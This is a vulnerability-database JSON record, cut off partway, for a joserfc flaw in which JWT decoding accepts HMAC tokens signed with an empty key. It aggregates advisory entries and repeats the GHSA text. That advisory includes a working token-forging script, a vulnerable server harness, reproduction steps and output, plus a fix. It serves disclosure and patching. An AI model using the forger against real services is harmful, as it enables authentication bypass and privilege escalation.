{"id":"CVE-2026-49852","aliases":["DEBIAN-CVE-2026-49852","EUVD-2026-45281","GHSA-gg9x-qcx2-xmrh","PYSEC-2026-2528","RHSA-2026:42045","ROOT-APP-PYPI-CVE-2026-49852","UBUNTU-CVE-2026-49852","openSUSE-SU-2026:11183-1","openSUSE-SU-2026:21263-1"],"status":"published","title":"joserfc: HS256/HS384/HS512 verify accepts empty/nil HMAC key (cross-language sibling of CVE-2026-45363)","description":"joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. Prior to 1.6.8, joserfc.jwt.decode accepts attacker-forged HMAC-signed tokens when the caller-supplied verification key is the empty string or None, because HMACAlgorithm.sign and HMACAlgorithm.verify in src/joserfc/_rfc7518/jws_algs.py pass the output of OctKey.get_op_key(...) to hmac.new(...) and OctKey.import_key in src/joserfc/_rfc7518/oct_key.py only emits a SecurityWarning for keys shorter than 14 bytes without rejecting zero-length input. This issue is fixed in version 1.6.8.","severity":{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00171,"percentile":0.06548,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1391","CWE-287","CWE-326"],"published":"2026-07-02T19:12:08Z","modified":"2026-10-28T02:31:07Z","fixes":[{"ecosystem":"PyPI","package":"joserfc","fixed_in":["1.6.8"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"joserfc","fixed_in":["1.6.8-1"],"sources":["osv"]},{"ecosystem":"Red Hat:hummingbird:1","package":"jaeger","fixed_in":["0:2.19.0-1.2.hum1"],"sources":["osv"]},{"ecosystem":"Root:PyPI","package":"rootio-joserfc","fixed_in":["1.6.7+root.io.1","1.6.2+root.io.3","1.6.0+root.io.3","1.6.4+root.io.1","1.5.0+root.io.3","1.6.3+root.io.1","1.6.1+root.io.3","1.6.5+root.io.1","1.5.0+root.io.4","1.6.5+root.io.2","1.6.3+root.io.2","1.6.2+root.io.4","1.4.3+root.io.3","1.6.0+root.io.4","1.6.4+root.io.2","1.6.1+root.io.4"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"python-joserfc","fixed_in":["1.7.2-2.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Leap 16.0","package":"python-joserfc","fixed_in":["1.1.0-bp160.3.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"joserfc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.6.7"},{"fixed":"1.6.8"}]}]},{"source":"osv","ecosystem":"Debian:13","package":"joserfc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.1.0-1","1.2.0-1","1.2.2-1","1.3.1-1","1.3.2-1","1.3.4-1","1.4.0-1","1.4.1-1","1.4.3-1","1.5.0-1","1.6.0-1","1.6.1-1","1.6.2-1","1.6.3-1","1.6.4-1","1.6.5-1","1.6.8-1","1.7.0-1","1.7.1-1","1.7.2-1","1.7.3-1","1.7.4-1","1.7.5-1"]},{"source":"osv","ecosystem":"Debian:14","package":"joserfc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.6.8-1"}]}],"versions":["1.1.0-1","1.2.0-1","1.2.2-1","1.3.1-1","1.3.2-1","1.3.4-1","1.4.0-1","1.4.1-1","1.4.3-1","1.5.0-1","1.6.0-1","1.6.1-1","1.6.2-1","1.6.3-1","1.6.4-1","1.6.5-1"]},{"source":"osv","ecosystem":"PyPI","package":"joserfc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.6.8"}]}],"versions":["0.1.0","0.10.0","0.11.0","0.11.1","0.12.0","0.2.0","0.3.0","0.4.0","0.5.0","0.6.0","0.7.0","0.8.0","0.9.0","1.0.0","1.0.1","1.0.2","1.0.3","1.0.4","1.1.0","1.2.0","1.2.1","1.2.2","1.3.0","1.3.1","1.3.2","1.3.3","1.3.4","1.3.5","1.4.0","1.4.1","1.4.2","1.4.3","1.5.0","1.6.0","1.6.1","1.6.2","1.6.3","1.6.4","1.6.5","1.6.7"]},{"source":"osv","ecosystem":"PyPI","package":"joserfc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.6.8"}]}],"versions":["0.1.0","0.10.0","0.11.0","0.11.1","0.12.0","0.2.0","0.3.0","0.4.0","0.5.0","0.6.0","0.7.0","0.8.0","0.9.0","1.0.0","1.0.1","1.0.2","1.0.3","1.0.4","1.1.0","1.2.0","1.2.1","1.2.2","1.3.0","1.3.1","1.3.2","1.3.3","1.3.4","1.3.5","1.4.0","1.4.1","1.4.2","1.4.3","1.5.0","1.6.0","1.6.1","1.6.2","1.6.3","1.6.4","1.6.5","1.6.7"]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"jaeger","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.19.0-1.2.hum1"}]}]},{"source":"osv","ecosystem":"Root:PyPI","package":"rootio-joserfc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.6.7+root.io.1"},{"fixed":"1.6.2+root.io.3"},{"fixed":"1.6.0+root.io.3"},{"fixed":"1.6.4+root.io.1"},{"fixed":"1.5.0+root.io.3"},{"fixed":"1.6.3+root.io.1"},{"fixed":"1.6.1+root.io.3"},{"fixed":"1.6.5+root.io.1"},{"fixed":"1.5.0+root.io.4"},{"fixed":"1.6.5+root.io.2"},{"fixed":"1.6.3+root.io.2"},{"fixed":"1.6.2+root.io.4"},{"fixed":"1.4.3+root.io.3"},{"fixed":"1.6.0+root.io.4"},{"fixed":"1.6.4+root.io.2"},{"fixed":"1.6.1+root.io.4"}]}]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"joserfc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.2.2-1","1.4.0-1","1.4.1-1","1.4.3-1","1.5.0-1","1.6.2-1"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-joserfc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.7.2-2.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"python-joserfc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.1.0-bp160.3.1"}]}]}],"products":[{"vendor":"authlib","product":"joserfc"}],"references":[{"url":"https://github.com/authlib/joserfc/security/advisories/GHSA-gg9x-qcx2-xmrh","tags":["x_refsource_CONFIRM","exploit","advisory","web","article","report"]},{"url":"https://github.com/authlib/joserfc/commit/86d00910b2b2d2d07503fee9b572906daefab7f1","tags":["x_refsource_MISC","fix","web","article"]},{"url":"https://github.com/authlib/joserfc/releases/tag/1.6.8","tags":["x_refsource_MISC","web","article"]},{"url":"https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/jws_algs.py#L62-L70","tags":["web"]},{"url":"https://github.com/advisories/GHSA-gg9x-qcx2-xmrh","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/49xxx/CVE-2026-49852.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49852","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-49852","tags":["advisory"]},{"url":"https://github.com/authlib/joserfc","tags":["package"]},{"url":"https://pypi.org/project/joserfc","tags":["package"]},{"url":"https://access.redhat.com/errata/RHSA-2026:42045","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-49852","tags":["report"]},{"url":"https://access.redhat.com/security/updates/classification/","tags":["article"]},{"url":"https://images.redhat.com/","tags":["article"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_42045.json","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2501881","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-49852","tags":["advisory","report"]},{"url":"https://ubuntu.com/security/CVE-2026-49852","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-49852","tags":["web"]},{"url":"https://bugzilla.suse.com/1270234","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-49852","title":"joserfc: HS256/HS384/HS512 verify accepts empty/nil HMAC key (cross-language sibling of CVE-2026-45363)","description":"joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. Prior to 1.6.8, joserfc.jwt.decode accepts attacker-forged HMAC-signed tokens when the caller-supplied verification key is the empty string or None, because HMACAlgorithm.sign and HMACAlgorithm.verify in src/joserfc/_rfc7518/jws_algs.py pass the output of OctKey.get_op_key(...) to hmac.new(...) and OctKey.import_key in src/joserfc/_rfc7518/oct_key.py only emits a SecurityWarning for keys shorter than 14 bytes without rejecting zero-length input. This issue is fixed in version 1.6.8.","status":"published","published":"2026-07-17T19:14:58.019Z","modified":"2026-07-20T14:58:41.701Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-287","CWE-326","CWE-1391"],"updated_at":"2026-11-02T13:35:10.963527Z"}],"euvd":[{"id":"EUVD-2026-45281","description":"joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. Prior to 1.6.8, joserfc.jwt.decode accepts attacker-forged HMAC-signed tokens when the caller-supplied verification key is the empty string or None, because HMACAlgorithm.sign and HMACAlgorithm.verify in src/joserfc/_rfc7518/jws_algs.py pass the output of OctKey.get_op_key(...) to hmac.new(...) and OctKey.import_key in src/joserfc/_rfc7518/oct_key.py only emits a SecurityWarning for keys shorter than 14 bytes without rejecting zero-length input. This issue is fixed in version 1.6.8.","status":"published","published":"2026-07-17T19:14:58Z","modified":"2026-07-20T14:58:41Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T18:19:49.035342Z"}],"ghsa":[{"id":"GHSA-gg9x-qcx2-xmrh","title":"joserfc: HS256/HS384/HS512 verify accepts empty/nil HMAC key (cross-language sibling of CVE-2026-45363)","description":"### Summary\n\n`joserfc.jwt.decode` accepts attacker-forged HMAC-signed tokens when the\ncaller-supplied verification key is the empty string or `None`.\n`HMACAlgorithm.sign` and `HMACAlgorithm.verify` in\n[`src/joserfc/_rfc7518/jws_algs.py:62-70`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/jws_algs.py#L62-L70) feed whatever\n`OctKey.get_op_key(...)` produced into `hmac.new(...)`, and `OctKey.import_key`\nonly emits a `SecurityWarning` when the raw key is shorter than 14 bytes\nwithout rejecting zero-length input. Any application whose JWT secret is\nsourced from an unset environment variable, an unset Redis / DB row, a key\nfinder fallback that returns `\"\"`, or a `Hash.new(\"\")`-style default verifies\nattacker tokens forged with `HMAC(key=b\"\", signing_input)` because the\nattacker trivially reproduces the same digest with no secret knowledge.\n\nThis is a cross-language sibling of jwt/ruby-jwt GHSA-c32j-vqhx-rx3x /\nCVE-2026-45363 (HS256/HS384/HS512 verify accepted an empty/nil HMAC key,\nfiled 2026-05-13). ruby-jwt v3.2.0 added an `ensure_valid_key!` precondition\nthat rejects empty keys at both sign and verify entry; joserfc has no\nequivalent. (The same primitive lives in the deprecated `authlib.jose`\nmodule by the same maintainer; filing this advisory against joserfc\nalongside a separate `authlib` advisory because the codebases are\nindependent shipping artifacts on PyPI.)\n\n### Affected versions\n\n`joserfc` (PyPI) `\u003c= 1.6.7` (latest published release reproduces). No\npatched release.\n\n### Privilege required\n\nUnauthenticated. Any HTTP / RPC endpoint that calls `joserfc.jwt.decode`\nwith a verification key sourced from configuration is reachable. The\ncondition that makes the bug observable is operator-side: the configured\nsecret resolves to `\"\"` or `None`. Common patterns that produce this state\nin production:\n\n- `OctKey.import_key(os.environ.get(\"JWT_SECRET\", \"\"))`\n- A key finder callable that returns `\"\"` / `None` for an unknown `kid`\n- Default values like `os.getenv(\"SECRET\") or \"\"`, `cfg.get(\"secret\", \"\")`\n- Database / Redis row lookup that returns `\"\"` for a missing row\n\n### Vulnerable code\n\n[`src/joserfc/_rfc7518/jws_algs.py:43-70`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/jws_algs.py#L43-L70):\n\n```python\nclass HMACAlgorithm(JWSAlgModel):\n    SHA256 = hashlib.sha256\n    SHA384 = hashlib.sha384\n    SHA512 = hashlib.sha512\n\n    def __init__(self, sha_type, recommended=False):\n        self.name = f\"HS{sha_type}\"\n        self.description = f\"HMAC using SHA-{sha_type}\"\n        self.recommended = recommended\n        self.hash_alg = getattr(self, f\"SHA{sha_type}\")\n        self.algorithm_security = sha_type\n\n    def sign(self, msg: bytes, key: OctKey) -\u003e bytes:\n        op_key = key.get_op_key(\"sign\")\n        return hmac.new(op_key, msg, self.hash_alg).digest()\n\n    def verify(self, msg: bytes, sig: bytes, key: OctKey) -\u003e bool:\n        op_key = key.get_op_key(\"verify\")\n        v_sig = hmac.new(op_key, msg, self.hash_alg).digest()\n        return hmac.compare_digest(sig, v_sig)\n```\n\n[`src/joserfc/_rfc7518/oct_key.py:52-63`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/oct_key.py#L52-L63):\n\n```python\n@classmethod\ndef import_key(cls, value, parameters=None, password=None) -\u003e \"OctKey\":\n    key: OctKey = super(OctKey, cls).import_key(value, parameters, password)\n    if len(key.raw_value) \u003c 14:\n        # https://csrc.nist.gov/publications/detail/sp/800-131a/rev-2/final\n        warnings.warn(\"Key size should be \u003e= 112 bits\", SecurityWarning)\n    return key\n```\n\nThe `\u003c 14` check only warns; `len(key.raw_value) == 0` falls through and is\nreturned to the caller. `HMACAlgorithm.verify` then calls\n`hmac.compare_digest(sig, hmac.new(b\"\", signing_input, sha256).digest())`,\nand Python's `hmac.new(b\"\", ...)` accepts the empty key.\n\nCross-language sibling of ruby-jwt's fix in [`lib/jwt/jwa/hmac.rb`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/lib/jwt/jwa/hmac.rb):\n\n```ruby\ndef ensure_valid_key!(key)\n  raise_verify_error!('HMAC key expected to be a String') unless key.is_a?(String)\n  raise_verify_error!('HMAC key cannot be empty') if key.empty?\nend\n```\n\ninvoked from both `sign(signing_key:)` and `verify(verification_key:)`.\nPyJWT landed an equivalent guard in 2.13.0 (`HMACAlgorithm.prepare_key`\nraises `InvalidKeyError(\"HMAC key must not be empty.\")` for `len(key_bytes) == 0`).\nfirebase/php-jwt rejects empty material in `Key.__construct`. jjwt enforces a\n256-bit minimum in `DefaultMacAlgorithm.validateKey`. joserfc has the\nstrongest existing length-warning logic but stops at `\u003c 14 bytes` warn\nrather than `== 0` reject.\n\n### How an empty `JWT_SECRET` reaches `hmac.new`\n\n1. The application calls `joserfc.jwt.decode(value, key, algorithms=[\"HS256\"])`\n   where `key = OctKey.import_key(\"\")` (or `OctKey.import_key(b\"\")`,\n   or any custom path that yields an `OctKey` whose `raw_value` is `b\"\"`).\n2. `decode` ([`src/joserfc/jwt.py:86-117`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/jwt.py#L86-L117)) calls `_decode_jws(...)` →\n   `deserialize_compact(value, key, algorithms, registry)`.\n3. `deserialize_compact` ([`src/joserfc/jws.py`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/jws.py)) dispatches to\n   `HMACAlgorithm.verify(signing_input, signature, key)`.\n4. `verify` calls `key.get_op_key(\"verify\")` → returns `b\"\"`.\n5. `hmac.new(b\"\", signing_input, sha256).digest()` is computed; the\n   attacker computed exactly that digest with the same empty key, so\n   `hmac.compare_digest` returns `True` and decode succeeds.\n\nNo upstream `nil`-check, no length check, no schema rejection. The path is\nreached from the public `joserfc.jwt.decode` API.\n\n### Proof of concept\n\nAttacker (no secret knowledge):\n\n```python\nimport base64, hmac, hashlib, json, time\ndef b64url(b): return base64.urlsafe_b64encode(b).rstrip(b\"=\")\nheader = b64url(json.dumps({\"alg\": \"HS256\", \"typ\": \"JWT\"}).encode())\nnow = int(time.time())\npayload = b64url(json.dumps({\n    \"sub\": \"attacker\", \"admin\": True,\n    \"iat\": now, \"exp\": now + 600,\n}).encode())\nsigning_input = header + b\".\" + payload\nsig = hmac.new(b\"\", signing_input, hashlib.sha256).digest()\nforged = signing_input + b\".\" + b64url(sig)\nprint(forged.decode())\n```\n\nServer harness:\n\n```python\n# server.py\nfrom joserfc import jwt\nfrom joserfc.jwk import OctKey\nimport os\nfrom wsgiref.simple_server import make_server\n\ndef app(environ, start_response):\n    auth = environ.get(\"HTTP_AUTHORIZATION\", \"\")\n    token = auth[len(\"Bearer \"):].strip() if auth.startswith(\"Bearer \") else \"\"\n    key = OctKey.import_key(os.environ.get(\"JWT_SECRET\", \"\"))  # default = \"\"\n    try:\n        tok = jwt.decode(token, key, algorithms=[\"HS256\"])\n        c = tok.claims\n        body = (\"OK: sub=%r admin=%r\\n\" % (c.get(\"sub\"), c.get(\"admin\"))).encode()\n        start_response(\"200 OK\", [(\"Content-Type\", \"text/plain\")])\n        return [body]\n    except Exception as e:\n        start_response(\"401 Unauthorized\", [(\"Content-Type\", \"text/plain\")])\n        return [(\"DENY: %s\\n\" % e).encode()]\n\nmake_server(\"127.0.0.1\", 8383, app).serve_forever()\n```\n\n### End-to-end reproduction (against `pip install joserfc==1.6.7`)\n\n```bash\n# 1. Boot the WSGI server. JWT_SECRET unset to model the misconfigured-secret\n#    state.\npython3.12 -m venv venv\n./venv/bin/pip install joserfc==1.6.7\n./venv/bin/python server.py \u0026   # listens on :8383\n\n# 2. Run the attacker\n./venv/bin/python attacker.py\n```\n\nCaptured run output (canonical pre-fix run, joserfc 1.6.7,\n`poc-attacker-empty-20260523-150949.log`):\n\n```\nforged token: eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOiAiYXR0YWNrZXIiLCAiYWRtaW4iOiB0cnVlLCAiaWF0IjogMTc3OTUyMDU4OSwgImV4cCI6IDE3Nzk1MjExODl9.yE8nFmSVmQJ2Slft-BlxD04ypabkV128XbPcU6SRnBY\nHTTP 200\nOK: sub='attacker' admin=True\n```\n\nControl (real 256-bit secret, `poc-control-realkey-20260523-150959.log`):\n\n```\nforged token: eyJhbGciOiAiSFMyNTYi...\nHTTP 401\nDENY: BadSignatureError: bad_signature:\n```\n\nInterpretation:\n\n| Configuration                | Observed                            | Expected |\n|------------------------------|-------------------------------------|----------|\n| `JWT_SECRET` unset (== \"\")   | HTTP 200, `admin=True` (verified)   | HTTP 401 |\n| `JWT_SECRET` = 256-bit value | HTTP 401, `BadSignatureError`       | HTTP 401 |\n\nThe first row demonstrates that an attacker with zero knowledge of the\nverification secret reaches the protected path by signing with the empty\nkey. The second row confirms the verifier behaves correctly when the\nsecret is non-empty, proving the bug is gated only on the secret being\nempty rather than on any structural defect in the attacker's token.\n\nFix verification: with the suggested empty-key reject wired into\n`HMACAlgorithm.sign` / `.verify`, the empty-secret server re-run rejects\nthe same forged token with `ValueError: HMAC key must not be empty`.\n\n### Impact\n\n- Complete authentication bypass on any service whose key finder resolves\n  to `\"\"` / `None` (env var unset, DB row missing, fallback). Attacker\n  forges arbitrary claims (`sub`, `admin`, scopes, audience, expiry).\n- The misconfiguration that triggers the bug is silent: the server does\n  not fail to boot, joserfc emits a single `SecurityWarning` (\"Key size\n  should be \u003e= 112 bits\") at `OctKey.import_key` time and then proceeds.\n- Severity matches the parent (ruby-jwt CVE-2026-45363, CVSS 7.4 high).\n  CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N — AC:H because of the\n  operator-misconfiguration precondition; impact otherwise matches\n  authentication bypass.\n\n### Suggested fix\n\nUpgrade the existing `\u003c 14 bytes` warning in `OctKey.import_key` to a hard\nreject at `len(key.raw_value) == 0`, plus a defence-in-depth check in\n`HMACAlgorithm.sign` and `HMACAlgorithm.verify` after\n`key.get_op_key(...)`:\n\n```python\n# src/joserfc/_rfc7518/oct_key.py\n@classmethod\ndef import_key(cls, value, parameters=None, password=None) -\u003e \"OctKey\":\n    key: OctKey = super(OctKey, cls).import_key(value, parameters, password)\n    if not key.raw_value:\n        raise ValueError(\"oct key material must not be empty\")\n    if len(key.raw_value) \u003c 14:\n        warnings.warn(\"Key size should be \u003e= 112 bits\", SecurityWarning)\n    return key\n\n# src/joserfc/_rfc7518/jws_algs.py\nclass HMACAlgorithm(JWSAlgModel):\n    ...\n    def sign(self, msg: bytes, key: OctKey) -\u003e bytes:\n        op_key = key.get_op_key(\"sign\")\n        if not op_key:\n            raise ValueError(\"HMAC key must not be empty\")\n        return hmac.new(op_key, msg, self.hash_alg).digest()\n\n    def verify(self, msg: bytes, sig: bytes, key: OctKey) -\u003e bool:\n        op_key = key.get_op_key(\"verify\")\n        if not op_key:\n            raise ValueError(\"HMAC key must not be empty\")\n        v_sig = hmac.new(op_key, msg, self.hash_alg).digest()\n        return hmac.compare_digest(sig, v_sig)\n```\n\nThe two-layer fix mirrors PyJWT 2.13.0's approach (reject empty in\n`prepare_key`, plus the runtime length checks the underlying hmac\nprimitive does not perform).\n\n### Fix PR\n\n`authlib/joserfc-ghsa-gg9x-qcx2-xmrh#1` (temp private fork PR), branch\n`fix/hmac-reject-empty-key`, base `main`. URL:\nhttps://github.com/authlib/joserfc-ghsa-gg9x-qcx2-xmrh/pull/1\n\n### Credit\n\nReported by tonghuaroot.","status":"published","published":"2026-07-02T19:12:08Z","modified":"2026-07-02T19:12:10Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-287","CWE-326","CWE-1391"],"updated_at":"2026-11-02T14:40:38.48196Z"}],"nvd":[{"id":"CVE-2026-49852","description":"joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. Prior to 1.6.8, joserfc.jwt.decode accepts attacker-forged HMAC-signed tokens when the caller-supplied verification key is the empty string or None, because HMACAlgorithm.sign and HMACAlgorithm.verify in src/joserfc/_rfc7518/jws_algs.py pass the output of OctKey.get_op_key(...) to hmac.new(...) and OctKey.import_key in src/joserfc/_rfc7518/oct_key.py only emits a SecurityWarning for keys shorter than 14 bytes without rejecting zero-length input. This issue is fixed in version 1.6.8.","status":"published","published":"2026-07-17T20:17:23.27Z","modified":"2026-10-24T20:10:00.137Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"}],"cwes":["CWE-287","CWE-326","CWE-1391"],"updated_at":"2026-11-02T14:12:30.250437Z"}],"osv":[{"id":"CVE-2026-49852","title":"joserfc: HS256/HS384/HS512 verify accepts empty/nil HMAC key (cross-language sibling of CVE-2026-45363)","description":"joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. Prior to 1.6.8, joserfc.jwt.decode accepts attacker-forged HMAC-signed tokens when the caller-supplied verification key is the empty string or None, because HMACAlgorithm.sign and HMACAlgorithm.verify in src/joserfc/_rfc7518/jws_algs.py pass the output of OctKey.get_op_key(...) to hmac.new(...) and OctKey.import_key in src/joserfc/_rfc7518/oct_key.py only emits a SecurityWarning for keys shorter than 14 bytes without rejecting zero-length input. This issue is fixed in version 1.6.8.","status":"published","published":"2026-07-17T19:14:58.019Z","modified":"2026-10-28T02:31:07.221528865Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-1391","CWE-287","CWE-326"],"updated_at":"2026-11-02T15:45:07.060148Z"},{"id":"DEBIAN-CVE-2026-49852","description":"joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. Prior to 1.6.8, joserfc.jwt.decode accepts attacker-forged HMAC-signed tokens when the caller-supplied verification key is the empty string or None, because HMACAlgorithm.sign and HMACAlgorithm.verify in src/joserfc/_rfc7518/jws_algs.py pass the output of OctKey.get_op_key(...) to hmac.new(...) and OctKey.import_key in src/joserfc/_rfc7518/oct_key.py only emits a SecurityWarning for keys shorter than 14 bytes without rejecting zero-length input. This issue is fixed in version 1.6.8.","status":"published","published":"2026-07-17T20:17:23.27Z","modified":"2026-10-25T10:00:36.90137373Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-02T15:45:56.444225Z"},{"id":"GHSA-gg9x-qcx2-xmrh","title":"joserfc: HS256/HS384/HS512 verify accepts empty/nil HMAC key (cross-language sibling of CVE-2026-45363)","description":"### Summary\n\n`joserfc.jwt.decode` accepts attacker-forged HMAC-signed tokens when the\ncaller-supplied verification key is the empty string or `None`.\n`HMACAlgorithm.sign` and `HMACAlgorithm.verify` in\n[`src/joserfc/_rfc7518/jws_algs.py:62-70`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/jws_algs.py#L62-L70) feed whatever\n`OctKey.get_op_key(...)` produced into `hmac.new(...)`, and `OctKey.import_key`\nonly emits a `SecurityWarning` when the raw key is shorter than 14 bytes\nwithout rejecting zero-length input. Any application whose JWT secret is\nsourced from an unset environment variable, an unset Redis / DB row, a key\nfinder fallback that returns `\"\"`, or a `Hash.new(\"\")`-style default verifies\nattacker tokens forged with `HMAC(key=b\"\", signing_input)` because the\nattacker trivially reproduces the same digest with no secret knowledge.\n\nThis is a cross-language sibling of jwt/ruby-jwt GHSA-c32j-vqhx-rx3x /\nCVE-2026-45363 (HS256/HS384/HS512 verify accepted an empty/nil HMAC key,\nfiled 2026-05-13). ruby-jwt v3.2.0 added an `ensure_valid_key!` precondition\nthat rejects empty keys at both sign and verify entry; joserfc has no\nequivalent. (The same primitive lives in the deprecated `authlib.jose`\nmodule by the same maintainer; filing this advisory against joserfc\nalongside a separate `authlib` advisory because the codebases are\nindependent shipping artifacts on PyPI.)\n\n### Affected versions\n\n`joserfc` (PyPI) `\u003c= 1.6.7` (latest published release reproduces). No\npatched release.\n\n### Privilege required\n\nUnauthenticated. Any HTTP / RPC endpoint that calls `joserfc.jwt.decode`\nwith a verification key sourced from configuration is reachable. The\ncondition that makes the bug observable is operator-side: the configured\nsecret resolves to `\"\"` or `None`. Common patterns that produce this state\nin production:\n\n- `OctKey.import_key(os.environ.get(\"JWT_SECRET\", \"\"))`\n- A key finder callable that returns `\"\"` / `None` for an unknown `kid`\n- Default values like `os.getenv(\"SECRET\") or \"\"`, `cfg.get(\"secret\", \"\")`\n- Database / Redis row lookup that returns `\"\"` for a missing row\n\n### Vulnerable code\n\n[`src/joserfc/_rfc7518/jws_algs.py:43-70`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/jws_algs.py#L43-L70):\n\n```python\nclass HMACAlgorithm(JWSAlgModel):\n    SHA256 = hashlib.sha256\n    SHA384 = hashlib.sha384\n    SHA512 = hashlib.sha512\n\n    def __init__(self, sha_type, recommended=False):\n        self.name = f\"HS{sha_type}\"\n        self.description = f\"HMAC using SHA-{sha_type}\"\n        self.recommended = recommended\n        self.hash_alg = getattr(self, f\"SHA{sha_type}\")\n        self.algorithm_security = sha_type\n\n    def sign(self, msg: bytes, key: OctKey) -\u003e bytes:\n        op_key = key.get_op_key(\"sign\")\n        return hmac.new(op_key, msg, self.hash_alg).digest()\n\n    def verify(self, msg: bytes, sig: bytes, key: OctKey) -\u003e bool:\n        op_key = key.get_op_key(\"verify\")\n        v_sig = hmac.new(op_key, msg, self.hash_alg).digest()\n        return hmac.compare_digest(sig, v_sig)\n```\n\n[`src/joserfc/_rfc7518/oct_key.py:52-63`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/oct_key.py#L52-L63):\n\n```python\n@classmethod\ndef import_key(cls, value, parameters=None, password=None) -\u003e \"OctKey\":\n    key: OctKey = super(OctKey, cls).import_key(value, parameters, password)\n    if len(key.raw_value) \u003c 14:\n        # https://csrc.nist.gov/publications/detail/sp/800-131a/rev-2/final\n        warnings.warn(\"Key size should be \u003e= 